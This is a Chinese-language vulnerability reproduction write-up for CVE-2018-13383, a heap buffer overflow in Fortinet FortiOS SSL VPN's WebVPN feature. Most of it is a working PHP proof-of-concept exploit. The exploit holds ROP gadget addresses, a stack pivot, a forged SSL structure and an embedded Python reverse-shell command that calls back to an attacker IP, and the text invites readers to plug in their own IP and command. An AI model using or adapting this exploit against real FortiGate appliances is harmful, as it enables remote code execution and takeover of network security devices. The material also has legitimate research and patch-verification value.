(CVE-2018-13383)Fortinet FortiOS 缓冲区错误漏洞

一、漏洞简介

Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。 Fortinet FortiOS 6.2.0之前版本中存在堆缓冲区溢出漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。

二、漏洞影响

Fortinet Fortios 6.2 Fortinet Fortios 6.0.5

三、复现过程

这是WebVPN功能的漏洞。在解析HTML中的JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:

memcpy(buffer, js_buf, js_buf_len);

缓冲区大小固定为0x2000,但输入字符串是无限制的。因此,这里存在堆溢出。值得注意的是,此漏洞可以溢出Null字节,这在我们的利用中很有用。为触发此溢出,我们需要将exploit放到HTTP服务器上,然后以普通用户权限登录SSL VPN代理访问我们的exploit为普通用户。

这里我们用PHP编写的PoC放在HTTP服务器上:

//请自行修改里面的ip以及所需要的执行的命令

<?php
function p64($address) {
    $low = $address & 0xffffffff;
    $high = $address >> 32 & 0xffffffff;
    return pack("II", $low, $high);
}
$junk = 0x4141414141414141;
$nop_func = 0x32FC078;

$gadget  = p64($junk);
$gadget .= p64($nop_func - 0x60);
$gadget .= p64($junk);
$gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
$gadget .= p64($junk);
$gadget .= p64($junk);
$gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
$gadget .= p64(0x1bed1f6); // pop rax ; ret ;
$gadget .= p64(0x58);
$gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
$gadget .= p64(0x1366639); // call system ;
$gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";

$p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
$p .= $gadget;
$p .= str_repeat('A', 0x1000 - strlen($gadget));
$p .= $gadget;
?>
<a href="javascript:void(0);<?=$p;?>">xxx</a>

这个PoC可以分为三个部分。

  • 1.虚假的SSL structure

SSL structure和我们的缓冲区相靠,因此我们可以精确伪造。为了避免崩溃,我们将method设置为一个包含空函数指针的位置。此时的参数是 SSL structure本身s。但是,method前面只有8个字节,我们不能简单地调用system("/bin/sh");,这对于我们的反向shell来说是不够的。不过由于那个巨大的二进制文件,我们很容易找到ROP小片段。我们发现一个有用的堆栈枢轴:

push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

因此,我们将handshake_func设置为这个小片段,将rsp移动到SSL structure中,进行下一步的ROP攻击。

  • 2.ROP链

这里的ROP链很简单。我们稍微向前移动rdi,以便有足够的空间执行反向shell命令。

  • 3.溢出的字符串

最后,我们连接溢出填充并加以利用。一旦我们溢出了SSL structure,就会得到一个shell。

最终稳定利用还需要多次尝试,因为有时程序会提前崩溃。但无论如何,攻击还是奏效了,只需要1\~2分钟,就可以获得一个反向shell。